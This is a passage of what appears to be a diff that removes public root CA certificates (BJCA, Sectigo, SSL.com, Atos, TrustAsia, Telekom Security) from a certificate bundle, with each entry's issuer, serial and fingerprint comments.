------BEGIN CERTIFICATE-----
-MIICJTCCAaugAwIBAgIQLBcIfWQqwP6FGFkGz7RK6zAKBggqhkjOPQQDAzBUMQsw
-CQYDVQQGEwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJ
-VFkxHTAbBgNVBAMMFEJKQ0EgR2xvYmFsIFJvb3QgQ0EyMB4XDTE5MTIxOTAzMTgy
-MVoXDTQ0MTIxMjAzMTgyMVowVDELMAkGA1UEBhMCQ04xJjAkBgNVBAoMHUJFSUpJ
-TkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRCSkNBIEdsb2JhbCBS
-b290IENBMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABJ3LgJGNU2e1uVCxA/jlSR9B
-IgmwUVJY1is0j8USRhTFiy8shP8sbqjV8QnjAyEUxEM9fMEsxEtqSs3ph+B99iK+
-+kpRuDCK/eHeGBIK9ke35xe/J4rUQUyWPGCWwf0VHKNCMEAwHQYDVR0OBBYEFNJK
-sVF/BvDRgh9Obl+rg/xI1LCRMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
-AgEGMAoGCCqGSM49BAMDA2gAMGUCMBq8W9f+qdJUDkpd0m2xQNz0Q9XSSpkZElaA
-94M04TVOSG0ED1cxMDAtsaqdAzjbBgIxAMvMh1PLet8gUXOQwKhbYdDFUDn9hf7B
-43j4ptZLvZuHjw/l1lOWqzzIQNph91Oj9w==
------END CERTIFICATE-----
-
-# Issuer: CN=Sectigo Public Server Authentication Root E46 O=Sectigo Limited
-# Subject: CN=Sectigo Public Server Authentication Root E46 O=Sectigo Limited
-# Label: "Sectigo Public Server Authentication Root E46"
-# Serial: 88989738453351742415770396670917916916
-# MD5 Fingerprint: 28:23:f8:b2:98:5c:37:16:3b:3e:46:13:4e:b0:b3:01
-# SHA1 Fingerprint: ec:8a:39:6c:40:f0:2e:bc:42:75:d4:9f:ab:1c:1a:5b:67:be:d2:9a
-# SHA256 Fingerprint: c9:0f:26:f0:fb:1b:40:18:b2:22:27:51:9b:5c:a2:b5:3e:2c:a5:b3:be:5c:f1:8e:fe:1b:ef:47:38:0c:53:83
------BEGIN CERTIFICATE-----
-MIICOjCCAcGgAwIBAgIQQvLM2htpN0RfFf51KBC49DAKBggqhkjOPQQDAzBfMQsw
-CQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1T
-ZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwHhcN
-MjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5WjBfMQswCQYDVQQGEwJHQjEYMBYG
-A1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBT
-ZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUrgQQA
-IgNiAAR2+pmpbiDt+dd34wc7qNs9Xzjoq1WmVk/WSOrsfy2qw7LFeeyZYX8QeccC
-WvkEN/U0NSt3zn8gj1KjAIns1aeibVvjS5KToID1AZTc8GgHHs3u/iVStSBDHBv+
-6xnOQ6OjQjBAMB0GA1UdDgQWBBTRItpMWfFLXyY4qp3W7usNw/upYTAOBgNVHQ8B
-Af8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNnADBkAjAn7qRa
-qCG76UeXlImldCBteU/IvZNeWBj7LRoAasm4PdCkT0RHlAFWovgzJQxC36oCMB3q
-4S6ILuH5px0CMk7yn2xVdOOurvulGu7t0vzCAxHrRVxgED1cf5kDW21USAGKcw==
------END CERTIFICATE-----
-
-# Issuer: CN=Sectigo Public Server Authentication Root R46 O=Sectigo Limited
-# Subject: CN=Sectigo Public Server Authentication Root R46 O=Sectigo Limited
-# Label: "Sectigo Public Server Authentication Root R46"
-# Serial: 156256931880233212765902055439220583700
-# MD5 Fingerprint: 32:10:09:52:00:d5:7e:6c:43:df:15:c0:b1:16:93:e5
-# SHA1 Fingerprint: ad:98:f9:f3:e4:7d:75:3b:65:d4:82:b3:a4:52:17:bb:6e:f5:e4:38
-# SHA256 Fingerprint: 7b:b6:47:a6:2a:ee:ac:88:bf:25:7a:a5:22:d0:1f:fe:a3:95:e0:ab:45:c7:3f:93:f6:56:54:ec:38:f2:5a:06
------BEGIN CERTIFICATE-----
-MIIFijCCA3KgAwIBAgIQdY39i658BwD6qSWn4cetFDANBgkqhkiG9w0BAQwFADBf
-MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQD
-Ey1TZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYw
-HhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5WjBfMQswCQYDVQQGEwJHQjEY
-MBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1Ymxp
-YyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwggIiMA0GCSqGSIb3DQEB
-AQUAA4ICDwAwggIKAoICAQCTvtU2UnXYASOgHEdCSe5jtrch/cSV1UgrJnwUUxDa
-ef0rty2k1Cz66jLdScK5vQ9IPXtamFSvnl0xdE8H/FAh3aTPaE8bEmNtJZlMKpnz
-SDBh+oF8HqcIStw+KxwfGExxqjWMrfhu6DtK2eWUAtaJhBOqbchPM8xQljeSM9xf
-iOefVNlI8JhD1mb9nxc4Q8UBUQvX4yMPFF1bFOdLvt30yNoDN9HWOaEhUTCDsG3X
-ME6WW5HwcCSrv0WBZEMNvSE6Lzzpng3LILVCJ8zab5vuZDCQOc2TZYEhMbUjUDM3
-IuM47fgxMMxF/mL50V0yeUKH32rMVhlATc6qu/m1dkmU8Sf4kaWD5QazYw6A3OAS
-VYCmO2a0OYctyPDQ0RTp5A1NDvZdV3LFOxxHVp3i1fuBYYzMTYCQNFu31xR13NgE
-SJ/AwSiItOkcyqex8Va3e0lMWeUgFaiEAin6OJRpmkkGj80feRQXEgyDet4fsZfu
-+Zd4KKTIRJLpfSYFplhym3kT2BFfrsU4YjRosoYwjviQYZ4ybPUHNs2iTG7sijbt
-8uaZFURww3y8nDnAtOFr94MlI1fZEoDlSfB1D++N6xybVCi0ITz8fAr/73trdf+L
-HaAZBav6+CuBQug4urv7qv094PPK306Xlynt8xhW6aWWrL3DkJiy4Pmi1KZHQ3xt
-zwIDAQABo0IwQDAdBgNVHQ4EFgQUVnNYZJX5khqwEioEYnmhQBWIIUkwDgYDVR0P
-AQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAC9c
-mTz8Bl6MlC5w6tIyMY208FHVvArzZJ8HXtXBc2hkeqK5Duj5XYUtqDdFqij0lgVQ
-YKlJfp/imTYpE0RHap1VIDzYm/EDMrraQKFz6oOht0SmDpkBm+S8f74TlH7Kph52
-gDY9hAaLMyZlbcp+nv4fjFg4exqDsQ+8FxG75gbMY/qB8oFM2gsQa6H61SilzwZA
-Fv97fRheORKkU55+MkIQpiGRqRxOF3yEvJ+M0ejf5lG5Nkc/kLnHvALcWxxPDkjB
-JYOcCj+esQMzEhonrPcibCTRAUH4WAP+JWgiH5paPHxsnnVI84HxZmduTILA7rpX
-DhjvLpr3Etiga+kFpaHpaPi8TD8SHkXoUsCjvxInebnMMTzD9joiFgOgyY9mpFui
-TdaBJQbpdqQACj7LzTWb4OE4y2BThihCQRxEV+ioratF4yUQvNs+ZUH7G6aXD+u5
-dHn5HrwdVw1Hr8Mvn4dGp+smWg9WY7ViYG4A++MnESLn/pmPNPW56MORcr3Ywx65
-LvKRRFHQV80MNNVIIb/bE/FmJUNS0nAiNs2fxBx1IK1jcmMGDw4nztJqDby1ORrp
-0XZ60Vzk50lJLVU3aPAaOpg+VBeHVOmmJ1CJeyAvP/+/oYtKR5j/K3tJPsMpRmAY
-QqszKbrAKbkTidOIijlBO8n9pu0f9GBj39ItVQGL
------END CERTIFICATE-----
-
-# Issuer: CN=SSL.com TLS RSA Root CA 2022 O=SSL Corporation
-# Subject: CN=SSL.com TLS RSA Root CA 2022 O=SSL Corporation
-# Label: "SSL.com TLS RSA Root CA 2022"
-# Serial: 148535279242832292258835760425842727825
-# MD5 Fingerprint: d8:4e:c6:59:30:d8:fe:a0:d6:7a:5a:2c:2c:69:78:da
-# SHA1 Fingerprint: ec:2c:83:40:72:af:26:95:10:ff:0e:f2:03:ee:31:70:f6:78:9d:ca
-# SHA256 Fingerprint: 8f:af:7d:2e:2c:b4:70:9b:b8:e0:b3:36:66:bf:75:a5:dd:45:b5:de:48:0f:8e:a8:d4:bf:e6:be:bc:17:f2:ed
------BEGIN CERTIFICATE-----
-MIIFiTCCA3GgAwIBAgIQb77arXO9CEDii02+1PdbkTANBgkqhkiG9w0BAQsFADBO
-MQswCQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQD
-DBxTU0wuY29tIFRMUyBSU0EgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzQyMloX
-DTQ2MDgxOTE2MzQyMVowTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jw
-b3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgUlNBIFJvb3QgQ0EgMjAyMjCC
-AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANCkCXJPQIgSYT41I57u9nTP
-L3tYPc48DRAokC+X94xI2KDYJbFMsBFMF3NQ0CJKY7uB0ylu1bUJPiYYf7ISf5OY
-t6/wNr/y7hienDtSxUcZXXTzZGbVXcdotL8bHAajvI9AI7YexoS9UcQbOcGV0ins
-S657Lb85/bRi3pZ7QcacoOAGcvvwB5cJOYF0r/c0WRFXCsJbwST0MXMwgsadugL3
-PnxEX4MN8/HdIGkWCVDi1FW24IBydm5MR7d1VVm0U3TZlMZBrViKMWYPHqIbKUBO
-L9975hYsLfy/7PO0+r4Y9ptJ1O4Fbtk085zx7AGL0SDGD6C1vBdOSHtRwvzpXGk3
-R2azaPgVKPC506QVzFpPulJwoxJF3ca6TvvC0PeoUidtbnm1jPx7jMEWTO6Af77w
-dr5BUxIzrlo4QqvXDz5BjXYHMtWrifZOZ9mxQnUjbvPNQrL8VfVThxc7wDNY8VLS
-+YCk8OjwO4s4zKTGkH8PnP2L0aPP2oOnaclQNtVcBdIKQXTbYxE3waWglksejBYS
-d66UNHsef8JmAOSqg+qKkK3ONkRN0VHpvB/zagX9wHQfJRlAUW7qglFA35u5CCoG
-AtUjHBPW6dvbxrB6y3snm/vg1UYk7RBLY0ulBY+6uB0rpvqR4pJSvezrZ5dtmi2f
-gTIFZzL7SAg/2SW4BCUvAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j
-BBgwFoAU+y437uOEeicuzRk1sTN8/9REQrkwHQYDVR0OBBYEFPsuN+7jhHonLs0Z
-NbEzfP/UREK5MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAjYlt
-hEUY8U+zoO9opMAdrDC8Z2awms22qyIZZtM7QbUQnRC6cm4pJCAcAZli05bg4vsM
-QtfhWsSWTVTNj8pDU/0quOr4ZcoBwq1gaAafORpR2eCNJvkLTqVTJXojpBzOCBvf
-R4iyrT7gJ4eLSYwfqUdYe5byiB0YrrPRpgqU+tvT5TgKa3kSM/tKWTcWQA673vWJ
-DPFs0/dRa1419dvAJuoSc06pkZCmF8NsLzjUo3KUQyxi4U5cMj29TH0ZR6LDSeeW
-P4+a0zvkEdiLA9z2tmBVGKaBUfPhqBVq6+AL8BQx1rmMRTqoENjwuSfr98t67wVy
-lrXEj5ZzxOhWc5y8aVFjvO9nHEMaX3cZHxj4HCUp+UmZKbaSPaKDN7EgkaibMOlq
-bLQjk2UEqxHzDh1TJElTHaE/nUiSEeJ9DU/1172iWD54nR4fK/4huxoTtrEoZP2w
-AgDHbICivRZQIA9ygV/MlP+7mea6kMvq+cYMwq7FGc4zoWtcu358NFcXrfA/rs3q
-r5nsLFR+jM4uElZI7xc7P0peYNLcdDa8pUNjyw9bowJWCZ4kLOGGgYz+qxcs+sji
-Mho6/4UIyYOf8kpIEFR3N+2ivEC+5BB09+Rbu7nzifmPQdjH5FCQNYA+HLhNkNPU
-98OwoX6EyneSMSy4kLGCenROmxMmtNVQZlR4rmA=
------END CERTIFICATE-----
-
-# Issuer: CN=SSL.com TLS ECC Root CA 2022 O=SSL Corporation
-# Subject: CN=SSL.com TLS ECC Root CA 2022 O=SSL Corporation
-# Label: "SSL.com TLS ECC Root CA 2022"
-# Serial: 26605119622390491762507526719404364228
-# MD5 Fingerprint: 99:d7:5c:f1:51:36:cc:e9:ce:d9:19:2e:77:71:56:c5
-# SHA1 Fingerprint: 9f:5f:d9:1a:54:6d:f5:0c:71:f0:ee:7a:bd:17:49:98:84:73:e2:39
-# SHA256 Fingerprint: c3:2f:fd:9f:46:f9:36:d1:6c:36:73:99:09:59:43:4b:9a:d6:0a:af:bb:9e:7c:f3:36:54:f1:44:cc:1b:a1:43
------BEGIN CERTIFICATE-----
-MIICOjCCAcCgAwIBAgIQFAP1q/s3ixdAW+JDsqXRxDAKBggqhkjOPQQDAzBOMQsw
-CQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxT
-U0wuY29tIFRMUyBFQ0MgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzM0OFoXDTQ2
-MDgxOTE2MzM0N1owTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jwb3Jh
-dGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgRUNDIFJvb3QgQ0EgMjAyMjB2MBAG
-ByqGSM49AgEGBSuBBAAiA2IABEUpNXP6wrgjzhR9qLFNoFs27iosU8NgCTWyJGYm
-acCzldZdkkAZDsalE3D07xJRKF3nzL35PIXBz5SQySvOkkJYWWf9lCcQZIxPBLFN
-SeR7T5v15wj4A4j3p8OSSxlUgaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSME
-GDAWgBSJjy+j6CugFFR781a4Jl9nOAuc0DAdBgNVHQ4EFgQUiY8vo+groBRUe/NW
-uCZfZzgLnNAwDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2gAMGUCMFXjIlbp
-15IkWE8elDIPDAI2wv2sdDJO4fscgIijzPvX6yv/N33w7deedWo1dlJF4AIxAMeN
-b0Igj762TVntd00pxCAgRWSGOlDGxK0tk/UYfXLtqc/ErFc2KAhl3zx5Zn6g6g==
------END CERTIFICATE-----
-
-# Issuer: CN=Atos TrustedRoot Root CA ECC TLS 2021 O=Atos
-# Subject: CN=Atos TrustedRoot Root CA ECC TLS 2021 O=Atos
-# Label: "Atos TrustedRoot Root CA ECC TLS 2021"
-# Serial: 81873346711060652204712539181482831616
-# MD5 Fingerprint: 16:9f:ad:f1:70:ad:79:d6:ed:29:b4:d1:c5:79:70:a8
-# SHA1 Fingerprint: 9e:bc:75:10:42:b3:02:f3:81:f4:f7:30:62:d4:8f:c3:a7:51:b2:dd
-# SHA256 Fingerprint: b2:fa:e5:3e:14:cc:d7:ab:92:12:06:47:01:ae:27:9c:1d:89:88:fa:cb:77:5f:a8:a0:08:91:4e:66:39:88:a8
------BEGIN CERTIFICATE-----
-MIICFTCCAZugAwIBAgIQPZg7pmY9kGP3fiZXOATvADAKBggqhkjOPQQDAzBMMS4w
-LAYDVQQDDCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgRUNDIFRMUyAyMDIxMQ0w
-CwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0yMTA0MjIwOTI2MjNaFw00MTA0
-MTcwOTI2MjJaMEwxLjAsBgNVBAMMJUF0b3MgVHJ1c3RlZFJvb3QgUm9vdCBDQSBF
-Q0MgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYTAkRFMHYwEAYHKoZI
-zj0CAQYFK4EEACIDYgAEloZYKDcKZ9Cg3iQZGeHkBQcfl+3oZIK59sRxUM6KDP/X
-tXa7oWyTbIOiaG6l2b4siJVBzV3dscqDY4PMwL502eCdpO5KTlbgmClBk1IQ1SQ4
-AjJn8ZQSb+/Xxd4u/RmAo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR2
-KCXWfeBmmnoJsmo7jjPXNtNPojAOBgNVHQ8BAf8EBAMCAYYwCgYIKoZIzj0EAwMD
-aAAwZQIwW5kp85wxtolrbNa9d+F851F+uDrNozZffPc8dz7kUK2o59JZDCaOMDtu
-CCrCp1rIAjEAmeMM56PDr9NJLkaCI2ZdyQAUEv049OGYa3cpetskz2VAv9LcjBHo
-9H1/IISpQuQo
------END CERTIFICATE-----
-
-# Issuer: CN=Atos TrustedRoot Root CA RSA TLS 2021 O=Atos
-# Subject: CN=Atos TrustedRoot Root CA RSA TLS 2021 O=Atos
-# Label: "Atos TrustedRoot Root CA RSA TLS 2021"
-# Serial: 111436099570196163832749341232207667876
-# MD5 Fingerprint: d4:d3:46:b8:9a:c0:9c:76:5d:9e:3a:c3:b9:99:31:d2
-# SHA1 Fingerprint: 18:52:3b:0d:06:37:e4:d6:3a:df:23:e4:98:fb:5b:16:fb:86:74:48
-# SHA256 Fingerprint: 81:a9:08:8e:a5:9f:b3:64:c5:48:a6:f8:55:59:09:9b:6f:04:05:ef:bf:18:e5:32:4e:c9:f4:57:ba:00:11:2f
------BEGIN CERTIFICATE-----
-MIIFZDCCA0ygAwIBAgIQU9XP5hmTC/srBRLYwiqipDANBgkqhkiG9w0BAQwFADBM
-MS4wLAYDVQQDDCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgUlNBIFRMUyAyMDIx
-MQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0yMTA0MjIwOTIxMTBaFw00
-MTA0MTcwOTIxMDlaMEwxLjAsBgNVBAMMJUF0b3MgVHJ1c3RlZFJvb3QgUm9vdCBD
-QSBSU0EgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYTAkRFMIICIjAN
-BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtoAOxHm9BYx9sKOdTSJNy/BBl01Z
-4NH+VoyX8te9j2y3I49f1cTYQcvyAh5x5en2XssIKl4w8i1mx4QbZFc4nXUtVsYv
-Ye+W/CBGvevUez8/fEc4BKkbqlLfEzfTFRVOvV98r61jx3ncCHvVoOX3W3WsgFWZ
-kmGbzSoXfduP9LVq6hdKZChmFSlsAvFr1bqjM9xaZ6cF4r9lthawEO3NUDPJcFDs
-GY6wx/J0W2tExn2WuZgIWWbeKQGb9Cpt0xU6kGpn8bRrZtkh68rZYnxGEFzedUln
-nkL5/nWpo63/dgpnQOPF943HhZpZnmKaau1Fh5hnstVKPNe0OwANwI8f4UDErmwh
-3El+fsqyjW22v5MvoVw+j8rtgI5Y4dtXz4U2OLJxpAmMkokIiEjxQGMYsluMWuPD
-0xeqqxmjLBvk1cbiZnrXghmmOxYsL3GHX0WelXOTwkKBIROW1527k2gV+p2kHYzy
-geBYBr3JtuP2iV2J+axEoctr+hbxx1A9JNr3w+SH1VbxT5Aw+kUJWdo0zuATHAR8
-ANSbhqRAvNncTFd+rrcztl524WWLZt+NyteYr842mIycg5kDcPOvdO3GDjbnvezB
-c6eUWsuSZIKmAMFwoW4sKeFYV+xafJlrJaSQOoD0IJ2azsct+bJLKZWD6TWNp0lI
-pw9MGZHQ9b8Q4HECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU
-dEmZ0f+0emhFdcN+tNzMzjkz2ggwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB
-DAUAA4ICAQAjQ1MkYlxt/T7Cz1UAbMVWiLkO3TriJQ2VSpfKgInuKs1l+NsW4AmS
-4BjHeJi78+xCUvuppILXTdiK/ORO/auQxDh1MoSf/7OwKwIzNsAQkG8dnK/haZPs
-o0UvFJ/1TCplQ3IM98P4lYsU84UgYt1UU90s3BiVaU+DR3BAM1h3Egyi61IxHkzJ
-qM7F78PRreBrAwA0JrRUITWXAdxfG/F851X6LWh3e9NpzNMOa7pNdkTWwhWaJuyw
-xfW70Xp0wmzNxbVe9kzmWy2B27O3Opee7c9GslA9hGCZcbUztVdF5kJHdWoOsAgM
-rr3e97sPWD2PAzHoPYJQyi9eDF20l74gNAf0xBLh7tew2VktafcxBPTy+av5EzH4
-AXcOPUIjJsyacmdRIXrMPIWo6iFqO9taPKU0nprALN+AnCng33eU0aKAQv9qTFsR
-0PXNor6uzFFcw9VUewyu1rkGd4Di7wcaaMxZUa1+XGdrudviB0JbuAEFWDlN5LuY
-o7Ey7Nmj1m+UI/87tyll5gfp77YZ6ufCOB0yiJA8EytuzO+rdwY0d4RPcuSBhPm5
-dDTedk+SKlOxJTnbPP/lPqYO5Wue/9vsL3SD3460s6neFE3/MaNFcyT6lSnMEpcE
-oji2jbDwN/zIIX8/syQbPYtuzE2wFg2WHYMfRsCbvUOZ58SWLs5fyQ==
------END CERTIFICATE-----
-
-# Issuer: CN=TrustAsia Global Root CA G3 O=TrustAsia Technologies, Inc.
-# Subject: CN=TrustAsia Global Root CA G3 O=TrustAsia Technologies, Inc.
-# Label: "TrustAsia Global Root CA G3"
-# Serial: 576386314500428537169965010905813481816650257167
-# MD5 Fingerprint: 30:42:1b:b7:bb:81:75:35:e4:16:4f:53:d2:94:de:04
-# SHA1 Fingerprint: 63:cf:b6:c1:27:2b:56:e4:88:8e:1c:23:9a:b6:2e:81:47:24:c3:c7
-# SHA256 Fingerprint: e0:d3:22:6a:eb:11:63:c2:e4:8f:f9:be:3b:50:b4:c6:43:1b:e7:bb:1e:ac:c5:c3:6b:5d:5e:c5:09:03:9a:08
------BEGIN CERTIFICATE-----
-MIIFpTCCA42gAwIBAgIUZPYOZXdhaqs7tOqFhLuxibhxkw8wDQYJKoZIhvcNAQEM
-BQAwWjELMAkGA1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dp
-ZXMsIEluYy4xJDAiBgNVBAMMG1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHMzAe
-Fw0yMTA1MjAwMjEwMTlaFw00NjA1MTkwMjEwMTlaMFoxCzAJBgNVBAYTAkNOMSUw
-IwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQwIgYDVQQDDBtU
-cnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
-DwAwggIKAoICAQDAMYJhkuSUGwoqZdC+BqmHO1ES6nBBruL7dOoKjbmzTNyPtxNS
-T1QY4SxzlZHFZjtqz6xjbYdT8PfxObegQ2OwxANdV6nnRM7EoYNl9lA+sX4WuDqK
-AtCWHwDNBSHvBm3dIZwZQ0WhxeiAysKtQGIXBsaqvPPW5vxQfmZCHzyLpnl5hkA1
-nyDvP+uLRx+PjsXUjrYsyUQE49RDdT/VP68czH5GX6zfZBCK70bwkPAPLfSIC7Ep
-qq+FqklYqL9joDiR5rPmd2jE+SoZhLsO4fWvieylL1AgdB4SQXMeJNnKziyhWTXA
-yB1GJ2Faj/lN03J5Zh6fFZAhLf3ti1ZwA0pJPn9pMRJpxx5cynoTi+jm9WAPzJMs
-hH/x/Gr8m0ed262IPfN2dTPXS6TIi/n1Q1hPy8gDVI+lhXgEGvNz8teHHUGf59gX
-zhqcD0r83ERoVGjiQTz+LISGNzzNPy+i2+f3VANfWdP3kXjHi3dqFuVJhZBFcnAv
-kV34PmVACxmZySYgWmjBNb9Pp1Hx2BErW+Canig7CjoKH8GB5S7wprlppYiU5msT
-f9FkPz2ccEblooV7WIQn3MSAPmeamseaMQ4w7OYXQJXZRe0Blqq/DPNL0WP3E1jA
-uPP6Z92bfW1K/zJMtSU7/xxnD4UiWQWRkUF3gdCFTIcQcf+eQxuulXUtgQIDAQAB
-o2MwYTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEDk5PIj7zjKsK5Xf/Ih
-MBY027ySMB0GA1UdDgQWBBRA5OTyI+84yrCuV3/yITAWNNu8kjAOBgNVHQ8BAf8E
-BAMCAQYwDQYJKoZIhvcNAQEMBQADggIBACY7UeFNOPMyGLS0XuFlXsSUT9SnYaP4
-wM8zAQLpw6o1D/GUE3d3NZ4tVlFEbuHGLige/9rsR82XRBf34EzC4Xx8MnpmyFq2
-XFNFV1pF1AWZLy4jVe5jaN/TG3inEpQGAHUNcoTpLrxaatXeL1nHo+zSh2bbt1S1
-JKv0Q3jbSwTEb93mPmY+KfJLaHEih6D4sTNjduMNhXJEIlU/HHzp/LgV6FL6qj6j
-ITk1dImmasI5+njPtqzn59ZW/yOSLlALqbUHM/Q4X6RJpstlcHboCoWASzY9M/eV
-VHUl2qzEc4Jl6VL1XP04lQJqaTDFHApXB64ipCz5xUG3uOyfT0gA+QEEVcys+TIx
-xHWVBqB/0Y0n3bOppHKH/lmLmnp0Ft0WpWIp6zqW3IunaFnT63eROfjXy9mPX1on
-AX1daBli2MjN9LdyR75bl87yraKZk62Uy5P2EgmVtqvXO9A/EcswFi55gORngS1d
-7XB4tmBZrOFdRWOPyN9yaFvqHbgB8X7754qz41SgOAngPN5C8sLtLpvzHzW2Ntjj
-gKGLzZlkD8Kqq7HK9W+eQ42EVJmzbsASZthwEPEGNTNDqJwuuhQxzhB/HIbjj9LV
-+Hfsm6vxL2PZQl/gZ4FkkfGXL/xuJvYz+NO1+MRiqzFRJQJ6+N1rZdVtTTDIZbpo
-FGWsJwt0ivKH
------END CERTIFICATE-----
-
-# Issuer: CN=TrustAsia Global Root CA G4 O=TrustAsia Technologies, Inc.
-# Subject: CN=TrustAsia Global Root CA G4 O=TrustAsia Technologies, Inc.
-# Label: "TrustAsia Global Root CA G4"
-# Serial: 451799571007117016466790293371524403291602933463
-# MD5 Fingerprint: 54:dd:b2:d7:5f:d8:3e:ed:7c:e0:0b:2e:cc:ed:eb:eb
-# SHA1 Fingerprint: 57:73:a5:61:5d:80:b2:e6:ac:38:82:fc:68:07:31:ac:9f:b5:92:5a
-# SHA256 Fingerprint: be:4b:56:cb:50:56:c0:13:6a:52:6d:f4:44:50:8d:aa:36:a0:b5:4f:42:e4:ac:38:f7:2a:f4:70:e4:79:65:4c
------BEGIN CERTIFICATE-----
-MIICVTCCAdygAwIBAgIUTyNkuI6XY57GU4HBdk7LKnQV1tcwCgYIKoZIzj0EAwMw
-WjELMAkGA1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMs
-IEluYy4xJDAiBgNVBAMMG1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHNDAeFw0y
-MTA1MjAwMjEwMjJaFw00NjA1MTkwMjEwMjJaMFoxCzAJBgNVBAYTAkNOMSUwIwYD
-VQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQwIgYDVQQDDBtUcnVz
-dEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATx
-s8045CVD5d4ZCbuBeaIVXxVjAd7Cq92zphtnS4CDr5nLrBfbK5bKfFJV4hrhPVbw
-LxYI+hW8m7tH5j/uqOFMjPXTNvk4XatwmkcN4oFBButJ+bAp3TPsUKV/eSm4IJij
-YzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUpbtKl86zK3+kMd6Xg1mD
-pm9xy94wHQYDVR0OBBYEFKW7SpfOsyt/pDHel4NZg6ZvccveMA4GA1UdDwEB/wQE
-AwIBBjAKBggqhkjOPQQDAwNnADBkAjBe8usGzEkxn0AAbbd+NvBNEU/zy4k6LHiR
-UKNbwMp1JvK/kF0LgoxgKJ/GcJpo5PECMFxYDlZ2z1jD1xCMuo6u47xkdUfFVZDj
-/bpV6wfEU6s3qe4hsiFbYI89MvHVI5TWWA==
------END CERTIFICATE-----
-
-# Issuer: CN=Telekom Security TLS ECC Root 2020 O=Deutsche Telekom Security GmbH
-# Subject: CN=Telekom Security TLS ECC Root 2020 O=Deutsche Telekom Security GmbH
-# Label: "Telekom Security TLS ECC Root 2020"
-# Serial: 72082518505882327255703894282316633856
-# MD5 Fingerprint: c1:ab:fe:6a:10:2c:03:8d:bc:1c:22:32:c0:85:a7:fd
-# SHA1 Fingerprint: c0:f8:96:c5:a9:3b:01:06:21:07:da:18:42:48:bc:e9:9d:88:d5:ec
-# SHA256 Fingerprint: 57:8a:f4:de:d0:85:3f:4e:59:98:db:4a:ea:f9:cb:ea:8d:94:5f:60:b6:20:a3:8d:1a:3c:13:b2:bc:7b:a8:e1
------BEGIN CERTIFICATE-----
-MIICQjCCAcmgAwIBAgIQNjqWjMlcsljN0AFdxeVXADAKBggqhkjOPQQDAzBjMQsw
-CQYDVQQGEwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBH
-bWJIMSswKQYDVQQDDCJUZWxla29tIFNlY3VyaXR5IFRMUyBFQ0MgUm9vdCAyMDIw
-MB4XDTIwMDgyNTA3NDgyMFoXDTQ1MDgyNTIzNTk1OVowYzELMAkGA1UEBhMCREUx
